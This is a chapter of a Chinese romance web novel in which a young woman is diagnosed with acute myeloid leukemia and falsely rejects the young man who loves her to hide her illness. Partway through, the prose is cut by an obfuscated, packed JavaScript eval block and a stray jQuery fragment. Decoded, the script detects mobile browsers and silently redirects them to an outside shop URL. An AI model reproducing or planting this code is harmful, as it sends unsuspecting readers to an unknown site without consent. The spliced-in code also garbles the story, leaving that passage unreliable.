有秘密的时候，徐知暖最怕与他对视。
她以为自己很擅长伪装，可在江澈面前，所有谎言好像都逃不过他的眼睛。
那双眼睛沉默、漆黑，像深冬的井水，不动声色地将她心底所有的心事，一点一点往上捞。
她指甲用力掐进掌心，疼意让她清醒了些。
她梗着脖子，仰脸，故作镇定地，与他对视。
“没有，你想多了。”她讪笑道，“早点睡吧，晚安。”
话毕，她留下一笑，转身回到房间，关上门，勉强弯着的唇角瘪下，清澈的眼神变得晦暗。
她靠着门板，微微侧眸，很轻地说，“江澈，如果我没事，我一定不会离开你。”
-
天气预报说，最近有台风将要擦过星海。
不过早晨的天很干净，蓝汪汪的，艳阳高照，看不出半点风雨欲来的样子。
医院门口，徐知暖等了会儿。
一辆出租车停下来，安绮霜付了钱，推开车门。
有一阵子没见了。
生完孩子的她身段还是那样好，穿着一条米白色的连衣裙，手里撑着把浅色的遮阳伞，看起来温温柔柔的。
她走到徐知暖面前，笑了笑：“暖暖，等很久了吧？”
“还好。”
“你叫我来医院是有什么事儿吗？”
“没什么，”徐知暖语气平平淡淡，“就是想让你帮我签个字。”
“签字？签什么字？”
“先跟我上去吧。”
一路上，两个人谁都没怎么开口。
徐知暖也不知道能跟她说什么，只是闷头往前走，偶尔回头看一眼前面的路，确认她还跟着
电梯在四楼停下。
门一开，迎面就是“血液内科”四个字。
徐知暖径直往里走。跟在她身后的安绮霜看见那几个字，微微张唇，想问什么。就在徐知暖快要跨进诊区的那一刻，她猛然反应过来，上前一步，拉住了她的手。
“等等——”
她惊疑道，“这是血液科？你来这儿干什么？”
徐知暖想了想，觉得这事迟早也瞒不住，便看着她，平静地说：“我生病了。”
安绮霜怔然，抓着她胳膊的力道松了几分。
“医生说，可能是白血病，还要做检查和骨髓穿刺才能确定。骨穿需要家属签字，他不在，只能找你了。”
安绮霜僵在原地。
这些年，她恨那个人，恨到连带着对这个女儿也少了关心。可她没想到，再见面会是这样的场景。“白血病”三个字像块石头，直直砸下来，砸得她脑子里嗡嗡响，半天回不过神。
看着母亲脸上的茫然与无措，徐知暖很淡地笑了下：“你放心，医药费什么的，我自己会付。你只需要帮我签个字就好。”
见她还是不说话，徐知暖也不知道该怎么办了，只好又问：“你……是有什么不方便的吗？”
安绮霜慢慢回过神来，脑子里乱成一团，那三个字还在来回冲撞。她吸了口气，摇头：“……没有。”
徐知暖说：“那走吧。”
接诊的还是上次那位医生，对她还有些印象。在门诊做了几项基础的检查之后，就帮她办了住院手续。
-
血液科的住院部，一间病房两张床。
徐知暖这间暂时只有她一个人。
手术安排在第二天上午。
入院后不久，护士过来做了些常规检测，交代了骨穿前的注意事项。
半夜，窗外风声骤起，呼呼地刮过玻璃。
徐知暖是被吵醒的。
病房里很暗，只有仪器上一点幽幽的绿光。
安绮霜躺在另一张床上。因为骨穿时间定得早，她没回去，留了下来。
徐知暖侧卧着，在黑暗里静静看向女人。
眼眶持续发酸，她怎么也没想到，再次和妈妈像这样躺在一个房间里，会是在这样的情境下。
她咬唇，苦笑了下。
为什么生病这件事……又好，又不好呢。
……
清早，七点多。
两个医生推着治疗车走进病房。
徐知暖看见了上面的一些工具。
其中有一根很长的针，闪着冷冽的金属光，样子有点像开红酒瓶的螺旋锥。
“小姑娘别紧张啊，这个也就看着吓人，痛感不会太明显的。很快就好。”护士安慰着，“你只需要配合我们就行。”
确实看着吓人。
眼不见就不怕了。
徐知暖把头偏向窗户那一侧。
窗外已经是另一番天地。
风把雨撕成碎碎的，密密匝匝地砸在玻璃上，整个世界都被晕成了一片模糊动荡的灰影。
不知怎么的，她又想起了第一次遇见江澈的那天。
也是这样的坏天气。
那时候——
忽然，一阵尖锐的刺痛从后腰传来。
她手指猛地收紧，攥住了身下的床单。
“忍一下啊，打完麻药就好了。”
徐知暖咬着唇，极其微弱地点了点头。
一旁，安绮霜只往治疗盘上瞥了一眼，就没敢再看下去。她背过身，肩膀微微颤动，眼泪无声涌出。
紧接着，一种钝重而持续的压力从后腰的骨缝间传来，旋转着，像要钻进骨骼的最深处。
徐知暖屏着呼吸，额头沁出密密的冷汗，所有知觉都死死聚焦在后腰那一点上。她觉得自己变成了一块被钉住的标本，动弹不得，只能等着那阵压迫感过去。
过了很久。
又或许只是几分钟。
可怕的压迫感才终于消退、抽离。
“好了。”
医生利落地抽出穿刺针，贴上纱布，用力按压片刻，然后固定好。
嘴唇已经被咬得发白。
徐知暖松开牙关，喘着气，整个人像是被浪拍上岸的鱼，面色惨白，虚脱地瘫在床上。
安绮霜去卫生间拧了块热毛巾，走到她身边，轻轻地替她擦拭额头的冷汗。
面带微笑，语调温柔：“没事儿，已经过去了，昂。”
徐知暖麻木的眼珠迟缓地转动，落在母亲脸上。
看到了布满血丝、湿润的一双眼。
心脏被一揉。
这是几年来，她第一次看见妈妈在自己面前哭。
……
过了一小时左右。
在安绮霜的搀扶下，徐知暖开始试着慢慢平躺。
麻药的劲儿大概在一点点退去，每动一下，后腰的肌肉就牵扯着传来一阵闷痛。好不容易调整到一个不那么难受的位置，她又脱了力，闭上眼喘了几口气。
也就在这时，安绮霜的手机响了。
她看了一眼屏幕，走到窗边接起：“喂。”
“……”
“发烧？什么时候的事儿？”
“……”
“我现在有点事，走不开。你先让保姆陪着去医院，我等会儿就过去。”
“……”
“好，先这样，挂了。”
她放下手机，过了两秒，才转过身。
徐知暖适时地睁开眼，轻声开口：“妈，我这边没什么事了，你回去吧。”
安绮霜一愣，继而撑起笑意：“没事，不着急。”
“医生说了，现在就是等结果。你那边……有人比我更需要你。我要是真有什么事，会给你打电话的。”徐知暖知道她在纠结，再次重复，“你回去吧。”
默了几秒，安绮霜点头：“行，那我待会儿先回去。忙完了，我再过来。”
她微微启唇，想说，不回来也可以的。
毕竟，这么多年，都是这样。
也许是因为今天这一整天的陪伴，让她对眼前这个人，生出了一点点陌生和不该有的不舍。
最后她只是说：“好。”
-
安绮霜走后，病房里又只剩她一个人了。
徐知暖点了医院的餐，没什么胃口，但还是逼着自己吃了几口。吃完，她无所事事地摸出手机，这才发现今天难受了半日，都没顾上看消息。
江澈的消息安安静静地躺在对话框里，一条接一条。
江澈：【在那边还好吗？】
……
江澈：【怎么不回信息？】
……
中间隔了一张图片。
点开一看，是之前那只叫“太阳”的小狗，长大了不少，都立耳了。
最后一条是刚发的。
江澈：【徐知暖，你真没躲我？】
她盯着这句话，愧疚地打字：【不好意思啊，下午一直没看手机。】
消息刚发出去，下一秒——
语音通话的请求骤然跳满了整个屏幕。
徐知暖心一慌，手指比脑子快，下意识就按了挂断。
紧接着消息就追了过来。
江澈：【？】
她定了定神，回复：【你怎么突然打电话了？】
江澈：【没事。】
没下文了。
徐知暖的指尖在屏幕上悬了一会儿。也许是怕他生气，又或许……
最终，她还是按下了那个绿色的语音通话键。
铃声响了两秒，就被接起。
“……喂。”她先出了声。
听筒另一头有许多小动物的声音，比她这儿热闹多了。
然后，低沉熟悉的嗓音贴在耳畔：“喂。”
“刚刚……对不起啊。我，不小心点错了。”
对面溢出一声笑，寡淡、冰冷。
显然没信。
徐知暖自己也觉得这借口拙劣得很，没再继续辩解，生硬地转移话题：“你在宠物医院？”
“嗯。”
“你怎么去那儿了？”
“给安安做个检查。”
“安安怎么了？”
“没事儿，就是常规检查。”
以前，徐知暖觉得江澈对安安有些不靠谱。
现在看来，他很负责。
想着，她不自觉地翘起唇畔。
“笑什么？”江澈问。
“没事啊。”
雨声细细碎碎。
从听筒里传来的，和她窗外的是同一场雨。
江澈的声音混在雨声里：“明天什么时候回来？”
徐知暖呼吸微顿。
明天就出结果了，她也不知道自己到底能不能回去。
“怎么不说话？”
她回过神：“那个……我还不太确定。”
电话那头没声了。
徐知暖赶紧补充：“我妈妈最近心情挺差的。如果可以，我想多陪她几天。”她维持着寻常的语气，一句一句解释着，像在背诵一篇早就打好的腹稿。
只是连她自己都不知道，这番话即便隔着电话，在江澈听来，可信度也几乎为零。
他沉声问：“徐知暖，你是不是有事儿瞒着我？”
徐知暖心一慌，立刻否认：“没有，真的，真的有事，没骗你。”
“有没有听说过一句话。”
“什么？”
“一个意思重复三遍，就代表在撒谎。”
“……”这都是哪里来的歪理？
她强作冷静地反驳：“我这是加强语气。”
江澈又不说话了。
她也沉默下来。
她实在没办法给他一个明确的答案。
如果结果好，那她可以解释。
如果不好……
她也不知道该怎么办。
就在这时。
电话那头隐约有几声猫叫。
“是安安吗？”她像是抓住一根浮木，急忙问。
“嗯，检查做完了。”
“结果怎么样？”
“都还可以。除了胖了点。”
徐知暖轻轻笑出声：“这得问问你了。”
又是几声喵喵。
江澈的声音混着猫叫，缓缓传来：“徐知暖。”
“嗯？”
“安安说，”他停了一下，声音微低，“它想你了。”
徐知暖抿笑，望着窗外灰蒙蒙的天，细语：“那你告诉它，我也挺想它的。”
“嗯。还有——”
江澈的声音还在继续。
突然，病房的门毫无预兆地被推开了。
徐知暖吓了一跳，指尖一颤，电话被瞬间挂断。
最后那个“我”字，截断在突兀的忙音里。
宠物医院里。
江澈举着手机，愣在原地。
耳边归于雨声。
他缓缓放下手机，眉头蹙起，感觉除了一丝不对劲，可又无法判断。
他发过去一条信息：
【你干嘛？】
病房里。
一位护士走了进来。
徐知暖慌慌张张抬起眼，心跳得厉害。
护士翻开手里的记录本，温和地问：“小姑娘，感觉怎么样？有哪里不舒服吗？”
徐知暖摇头。
“来，量个体温。”
“好。”徐知暖接过温度计，夹在腋下，冰凉的触感让她稍微冷静了一些。
犹豫片刻，她小声问：“医生，我大概什么时候可以出院啊？”
“还早呢，得看你检查结果。如果情况不严重，稳定了，可以考虑出院。但如果不太乐观……”护士看了她一眼，“那就老老实实在这里治疗。等好了，再出去好好玩。你年纪还小，以后还有很多个暑假呢。”
“……”
五分钟后，她取出温度计。
36.9度。
“体温正常。好好休息哦，有事按铃。”护士说完，带上门离开了。
等门完全关上。
徐知暖才松开了紧攥的手指，暗暗松了口气。
她拿起手机，看到了江澈刚刚发来的信息。
Nuan：【对不起啊，刚刚有人来了。】
他回复得很快。
只是光看文字，就能感觉到他对她刚才的行为相当不满。
江澈：【嗯，知道的你在打电话。】
江澈：【不知道的，以为你在偷情。】
徐知暖：“……”
-
隔天雨停了，下午的时候天光大好，甚至有些晃眼。
病房里，徐知看着一些关于白血病的科普。
即便报告还没出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17603739|204148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，她也已有预感。
网上说的症状，她大多都对得上，可以说是，八九不离十。
就在这时。
门“嘎吱”一声开了。
她的主治医生走了进来。
徐知暖摁灭了手机，先一步问道：“医生，是我的检查结果出来了吗？”
她的声音很平缓。
但只有她自己知道，此刻心里的波涛汹涌。
医生翻开文件夹，看着报告，沉缓道：“根据骨髓穿刺的结果来看，可以确诊是急性髓系白血病，M5型。”
两句话，每一个字都清清楚楚地落进耳朵里。
M5。
这两天，徐知暖几乎翻遍了能找到的所有资料，大致了解了白血病繁杂的分型。
M5，急性单核细胞白血病，是其中比较凶险的一种。发病急，进展快，治愈率也相对更低。
最后一点侥幸，彻底粉碎。
所以，从今天起，她要开始做化疗了吗？
只能躺在这儿了吗？
像这层楼里住着的许多人一样，头发一把一把地掉光，日日夜夜地忍受疼痛，反胃，呕吐，把自己弄得人不人鬼不鬼的。
会……死吗？
为什么……
她只觉得命运给她开了一个巨大而残忍的玩笑。在她最期望活着的时候，狠狠地递来一纸判决书，告诉她，你的人生，注定只能如此。
永远也飞不高，走不远。
只能被迫地接受这个残忍的事实。
她喉头发颤，艰涩地问：“我还能活多久？”
“小姑娘，这种病确实凶险，但‘能活多久’这个问题，现在谁也无法给你答案。医学在进步，治疗方案也很多。这不代表就一定治不好，还是有相当比例的治愈希望。”医生理解她的恐惧，语气尽量温和地劝慰，“你现在要做的，是乐观一点，坚强一点，好好配合我们，准备开始化疗。要相信自己。”
医生通知完离开后，病房里安静下来。
阳光还是那样好，照在地上，照在被子上。
徐知暖缓了很久，然后给安绮霜打了电话，告诉了这个事情。在电话里，她能听见妈妈的哭泣声，还听见妈妈说，要来照顾她。
眼眶跟着泛了红。
这几天，她其实还是有点幸福的。
知道她的妈妈还是在乎她的，对她，还是有一点爱的。
可，微渺的幸福之余。
她想起了另外一个人。
江澈还不知道这一切。
他还以为她只是回家陪妈妈了。
昨天，他还在电话里问她什么时候回去，还说安安想她了。
她该怎么告诉他呢？
说她得了白血病。
说她可能回不去了。
说她也不知道自己能活多久。
光是想象那个画面，她就觉得胸口闷得喘不上气。
明明窗外的阳光那样好，可却一寸也不肯施舍在她身上。
……
同一时刻。
徐知暖不在，江澈一个人呆着无聊，找了一个地方画画。最近艺术班也抓得很严，他们每隔两天就要完成一张画。
画完，已经落日溶金。
回去的路上，江澈又给徐知暖发了一条信息。
他想再确认一次。
她是不是真的还要在她妈妈那儿住下去？
如果要，究竟要住多久？
说不上缘由。
徐知暖向来不是扭捏躲闪的性子，可这次，从她突然说要回妈妈家开始，一切都透着说不出的不对劲。
像满地的珠子，明明就在眼前，却找不到那根能串起它们的线。
走到她家门口，江澈刚拿出钥匙。
下一秒。
门却从里面被打开了。
一个女人拎着东西走了出来。
四目相对，两人皆是一顿。
面前的女人江澈从没见过，可那张脸的轮廓，隐约有几分熟悉的影子。
他迟疑着，猜测：“你是……徐知暖的妈妈？”
“嗯。”安绮霜打量着他，“你是……？”
同住的事不便直说，江澈只道：“我是她同学，找她有点事。”
“哦，”安绮霜了然，语气客气，“不好意思啊，暖暖最近不在这儿。”说着，她侧过身，从门内拖出一个浅蓝色的行李箱。
江澈看去，目光一滞。
这箱子他见过，就在徐知暖的房间里。
……她要走？
“那她在哪儿？”他声音沉了沉。
“在我那儿。”
“什么时候回来？”
安绮霜看了他一眼：“看她想住多久吧。如果想一直住我那儿，可能就不回来了。”
江澈没说话，眉心紧拧。
安绮霜也看出了他的怀疑，又说：“同学，不信的话，你可以自己打电话问她。我没必要骗你。”
她说完，拉着行李箱，从他身边走了过去。
轮子碾过地面，发出咕噜咕噜的声响，越走越远。
江澈站在原地，失神地拿出手机，拨通了徐知暖的号码。听筒里的等待音每响一声，他胸口就绷紧一分。
响了七八声，终于被接起。
“我刚刚在你家门口，碰见你妈妈了。”他开门见山，声音绷着。
“昂。”
“她说你想跟她住。真的假的？”
电话里静了下。
然后，江澈听见她的声音传过来，平静得陌生：“嗯。真的。”
江澈闭上眼，最近一系列的反常在他脑中飞快地闪过。
她突然说要回家，吞吞吐吐的语气，莫名其妙挂断的电话……所有碎片拼在一起，拼出了一个他不愿意相信的答案。
他喉结重重一滚，声音哑了几分：“徐知暖，你还说没躲我？！”
没等她回答，又问：“为什么？”
“因为在沪市，你说，要我给你一个表白的机会。”
他低笑一声：“所以呢？”
“所以，我觉得有压力了。”徐知暖说，“因为我不喜欢你，我没办法给你这样的机会。”
江澈不信：“那你之前为什么要答应和我一起种花？为什么让我住在这儿？为什么说会一直陪着我？为什么？！”
他一句接一句地追问，气息渐急，像迫切地想从她口中抓住一个能推翻这一切的答案。
可问完，他又开始害怕。
害怕得到的答案，真的是他不要的那个。
两边都陷入沉默。
只有细微的电流声，在耳边滋滋作响。
江澈的眼眶渐渐红了，他甚至想直接赌气挂断。
可徐知暖已经比预料之中先开口。
“因为当时我太难过了，所以我自私地，贪恋有你在身边的感觉。可等伤心慢慢褪去，我才发现，我对你，真的只有朋友的感觉。”她说得冰冷，干脆，不留丝毫余地，“这几天每次和你聊天，我都不知道该怎么面对。既然你打来了，那就说清楚吧。”
她停顿了一秒，话语在寂静中落下——
“江澈，谢谢你的喜欢，也谢谢你的好。”
“但我真的，一点也不喜欢你。”